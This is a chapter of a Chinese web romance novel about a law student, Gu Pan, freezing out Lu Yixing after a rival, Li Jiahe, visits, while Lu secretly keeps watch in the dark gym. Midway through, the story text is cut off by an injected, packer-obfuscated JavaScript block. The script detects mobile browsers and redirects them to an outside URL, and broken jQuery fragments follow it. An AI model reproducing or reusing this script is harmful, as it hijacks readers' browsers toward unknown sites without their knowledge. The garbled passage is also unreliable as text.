22.第 22 章

作品:《爱情骗子

    顾盼与路亦行的关系忽然怪起来。


    在老体育馆碰面时,两人几乎不讲话,不知道顾盼错觉还是怎么,好像路亦行比以前更忙了,风洞实验室第一阶段设备调试完毕,他们组确实也要进实验室了。


    “学姐,那你们好长一段时间都不过来了啊?”丝绒席上,顾盼捏着书页问。


    “是哦。”难得休息,于瑜靠在他肩膀上,“进实验室应该会好点吧。”路亦行太严格了,快节奏的小组生活简直压得他们喘不过气,“不过更忙了,哪有时间谈恋爱啊,好不容易谈次恋爱呢。”


    顾盼笑道,“不能为了女朋友忽视学习啊。”


    “欸我给你说,谈恋爱好有意思。”于瑜笑道,“我的盼,你怎么总是一个人呢?要不也谈个恋爱吧?”


    “不了吧……”


    “姐姐给你介绍漂亮姐姐?”


    “有多漂亮?”顾盼开玩笑。


    于瑜想想:“那肯定没你漂亮。”


    两人对视一眼,笑作一团。


    馆内暖气开得足,稍微动动就热得人发汗,路亦行脱了外套,往这边走,于瑜像老鼠见了猫,马上起身,顾盼身旁空出来的位置,路亦行把外套搭在椅背上,撸了撸袖子,坐下。


    顾盼敛起笑容,埋头看书。


    顾盼不笑时特显冷漠,眉眼淡淡,他感觉路亦行有话想说,但又不想接这个茬,还在为坐车的事生气,对,他就是这么小气的人。


    路亦行内心操蛋,也不知道怎么解释,见他学习,坐了会儿就走了。


    组员们忙忙碌碌,哪有心思分神观察这边,倒是帆船上,Henry和Chloe用德语大声嘀咕。


    Henty问:“他们怎么了?”


    Chole回:“吵架了吧?”


    “恋爱中的人就是这样。”Henry耸耸肩,表示理解,chloe笑道,“这种玩笑我建议你当着路亦行的面来讲。”


    “那可不敢。”


    临近八点,帆船部件皆已用防震塑料包裹完毕,未来很长一段时间他们将待在实验室,一行人在做最后检查,馆内本来异常安静,忽地,门口出现一道清脆的高跟鞋的咔嗒。


    顾盼抬眸。


    李珈禾今日打扮不如圣诞节温婉,一双红底矮口漆皮高跟鞋,脚踝光裸,白皙纤细的小腿笼着黑色花苞裙,海军式的双排金扣小西装束起细腰,她长发绾起,妆容精致,一亮相,便把在场所有女孩子给比了下去。


    今日有雪,李珈禾穿得这样少,而且鞋底干干净净,说明车子是直接开到馆门口的,然而复庆并不允许校外车辆驶进校园。


    路亦行瞥了眼,烦得不行。


    李珈禾也不打扰他,旁若无人地丝绒席方向去。


    一串鞋跟的声音由远及近,顾盼旁边的空位搭着路亦行的外套,李珈禾过来了,她拿起外套抱在手中,“我可以坐吗?”


    顾盼:“好啊。”


    李珈禾扶着后裙摆,说了谢谢,坐下。


    李珈禾表面镇定,内里实在忧虑,圣诞节那晚她便有种女人般的直觉,路亦行那三人的小圈子,这么多年没有新人进去过,更别提能带到家里吃饭。


    如果顾盼长得没这么好看,她犯不着马上就来学校打探,路亦行不喜欢黏人的,李珈禾清楚,这也年也尽量避免触他霉头,但顾盼长得太好看了,以至于让她初次见面就陡生危机,所以没隔两天,马上就要来一探究竟。


    顾盼跟路亦行是同学本来就已经巧合得不能再巧合。


    怎么偏偏跟陶折一是朋友?


    怎么认识的?


    路亦行在里面扮演什么角色?


    所以那晚她离开后并未“离开”,吩咐司机把车停到暗处等等,果然没一会儿他们聚会就结束了,贺也先开车出来,司机停靠的拐角微妙,没看到她。


    没隔一会儿,路亦行也出来了。


    路亦行副驾空无一人,她稍稍安心。


    不过今天她仍是带着任务来的,还是几天前那件事儿。


    那日苏姿丰坐在办公桌后,云淡风轻地提起即将元旦,李珈禾知道路亦行不愿回家,但也还是想把他拉回家,这样的话,苏姿丰会更加肯定她的能力。


    “你学的是法学专业呀?”李珈禾想了想,轻声问。


    顾盼从书中抬头,笑着看了她一眼,“对啊。”


    “法学专业性很强,就业前景好,是很不错的行业。”


    “还好吧?”


    李珈禾从顾盼手中的书中收回视线,落到顾盼脸上。


    顾盼笑起来简直让人接不住,她更加觉得自己的地位岌岌可危,路亦行这些年什么时候跟他专业以外的人当过朋友?学校外面那些往他身上扑的女明星,她一点也不担心。


    路亦行不喜欢蠢货。


    只是现在有这么一个人,虽然是男的,但他能力很强,长得比谁都漂亮。


    李珈禾不动声色:“未来读研吗?有没有心仪的学校?”


    顾盼佯装思考:“德国吧。”


    李珈禾笑容微微凝滞,他捕捉到了,愈发觉得好玩,本来他不针对女生,女孩子例如于瑜学姐,可爱温柔,如房东阿姨,贴心温暖。


    只是他对李珈禾印象实在不好,李珈禾这人看起来貌似好相处,实则初次见面就留联系方式,这两天更是频频给他发消息打探情况,怎么看,都不是真心交朋友。


    李珈禾问:“是因为亦行吗?”


    “嗯?”顾盼懒懒托着腮,“为什么这么说?”


    “亦行一直在德国留学,目前也住那边。”李珈禾拢了拢头发,“不过以后还是要回来,叔叔阿姨已经安排好了我们的生活。”


    “哦,这样啊。”顾盼拖着长调,“不过你这么一说,感觉德国好像更可以考虑了呀。”


    “其实新加坡的法学专业也可以的。”李珈禾一边说,一边停顿打量他的穿着。


    今日顾盼穿的是房东阿姨辛辛苦苦织了半个月的毛衣,面料是普通的纯羊毛,亮红色,领口绣了一朵白色枫叶。


    “新加坡学费机票都很便宜,也方便生活。”李珈禾强调。


    顾盼扯了扯唇角,轻飘飘地笑,如果他穿的是其他衣服被李珈禾看轻,他并不感冒,但这件毛衣不一样,怕缩水,他都是手洗。


    本来都算了,李珈禾这人真是……


    “可是德国的大学免费呀。”他故意说,“而且路亦行也在德国,正好多个朋友,他在那边生活了许多年,应该很熟悉吧?还好有他,谢谢你的提醒哦。”


    李珈禾别开脸,沉默片刻。


    “我们集团有高校奖学金,可以选择心仪的学校,美国、英国,你都可以考虑一下。”


    这类集团奖学金通常条件极其严苛,因为属于私企出资,毕业后还有就业限制,顾盼心知肚明李珈禾在给他挖了个坑,点点头,顺势问需要什么条件才能申请。


    李珈禾:“专业成绩至少前5%—10%”


    “我第一,应该够了吧?”


    “绩点要求4.0。”


    “4.5行吗?”


    李珈禾不说话了。


    顾盼又说:“新加坡的国立大学之前在我们学校有一个优青计划,老师推荐我参加,但是我觉得目前才大三,还不急。”


    “机票和生活费的话,在校期间全额报销,还有年度奖学金。”


    “其实现在想想,没参加还是有点可惜。”


    “不过也没事啦,德国学费全免,德国也可以的。”


    李珈禾笑笑,再次转移目光。


    顾盼懒得再理她,继续看他的书。


    八点到,大家陆陆续续离开,路亦行过来拿衣服,顾盼也在收拾东西准备回出租屋继续学习。


    见路亦行过来,李珈禾柔声道,“亦行,我拍了个帆船模型,放在车上,等下送去你家吧?”


    顾盼慢条斯理地阖上书。


    路亦行拿出手机,没抬头,也不回话。


    放在兜里的手机震了震,顾盼看也不看,把书放进书包。


    “有点冷,可以给我穿一下吗?”李珈禾也不尴尬,抱着外套说。


    路亦行锁了手机,掉头就走,李珈禾踩着高跟鞋啪嗒啪嗒地跟上,郎才女貌的背影很快就消失在馆门口。


    顾盼不爽,不爽的时候就想做坏,这时拿出手机,刚刚路亦行给他发“我在校门口等你”,他回复“你过来接我”


    等了五分钟,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392761|198701||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    路亦行没有回。


    Ok,还是这副死样,也不管路亦行是没看见还是不想来,顾盼直接把他拉黑,径直回家,到了慈安弄,路亦行打来电话。


    顾盼想也不想,一个一个地按掉。


    翌日


    由于帆船拆掉,参观的学生也没了,再加上雪天元旦假期即将来临,老体育馆简直门可罗雀。


    顾盼照例上完课前去值守,没人了,灯也开得少,只有场中间的灯亮,四面八方的座席一片漆黑,有点恐怖。


    没一会儿,路亦行带着他喜欢吃的外卖来了。


    顾盼看也不看。


    路亦行拆开,放他面前,诱惑他。


    “真不吃?”


    这段时间每天晚饭都是两人一起吃的,可是那又怎样?顾盼推开,有点烦:“别打扰我看书。”


    路亦行啧了声,正要解释,Henry电话来了,实验室那边数据出了点问题,马上得过去,他挂断电话,看了顾盼发顶几秒,“先把我从黑名单放出来?”


    “不。”


    电话又响,路亦行一气之下气了一下,没办法地走了。


    半小时过去,顾盼越想越气,开始折磨人。


    虽然不知道路亦行到底在忙什么,但他把路亦行从黑名单放出来,之前的消息已经收不到了,他也不想知道路亦行到底发了什么,无所谓,他夺命连环call地给路亦行发信息。


    “好冷清,翻书都有回音。”


    [附图]


    “总觉得背后有人盯着我。”


    “体育馆不会闹鬼吧?”


    “路亦行,我有点怕。”


    一连好几条都没收到回复,顾盼又笑了,觉得自己纯自找的,还是气不过,跟姜逢发消息一起骂了路亦行一顿,骂的间隙正好收到了路亦行的回复,让他不用去体育馆,等他们实验结束回来再说。


    顾盼脾气大:“你管我的?”


    路亦行拨电话过来,他再次挂掉,一秒后路亦行又微信他,“气性怎么这么大?”


    顾盼回:“拉黑了。”然后真又给拉黑了。


    第二天他晚间再去值守时,也不知道是不是犯谶,竟真的觉得背后有人,回头,座位席上又一片漆黑,什么都看不清。


    就这样默默看了一晚上书,也有两天没跟路亦行见面,第三天再去老体育馆时,如芒在背的感觉又翻涌起来。


    顾盼有点怕。


    趁着上洗手间的空档他去了趟总控室,老体育馆全权交给研究生小组使用,监控也不例外,他打开实时画面,细细查看。


    不看不知道,一看吓一跳。


    人眼看不到的漆黑座椅上,夜视探头清晰无比,丝绒席后的最后一排,正中间,路亦行老大爷似的,跷着腿坐在那儿。


    “神经病!”


    顾盼咬牙切齿地骂了句,接着若无其事回到馆内,继续看书,再不觉得如芒在背了,又觉得好玩,甚至高兴起来,像一雪前耻。


    他拿出手机,本来很少用论坛账号发个人动态,现在也有点忍不住,发了张空荡荡的老体育馆,公开的,他把链接发给路亦行。


    晚上回到尔湾。


    后台显示一个系统头像的新ID,访问了他的账号。


    接下来几天,顾盼雷打不动去老体育馆,雷打不动地在个人账户发布一些心情贴,都不用再去总控室确认,他知道路亦行就在背后。


    陪什么呢?


    坚守又不露面?


    社交账号看什么呢?


    访问频次那么高?


    元旦放假前的最后一晚,他主动出击,坐在丝绒席,知道路亦行在,偏偏给路亦行发。


    “你在哪?”


    发完,他动了动,做出往后看的假动作,但又很快坐直,趴在桌上,背影单薄,胳膊也瘦,整个人瘦到落寞。


    “好想你。”


    收拾好课本,他往外走,手机在兜里频繁震动,他又挂了,一次次地挂,他不走梧桐道,专挑了一条僻静小路,他要路亦行急,急死最好。


    只是……


    顾盼走到校门的便利店时,路亦行已经人高腿长地站在那里,站在他该在的位置。


    ——一个等待的位置。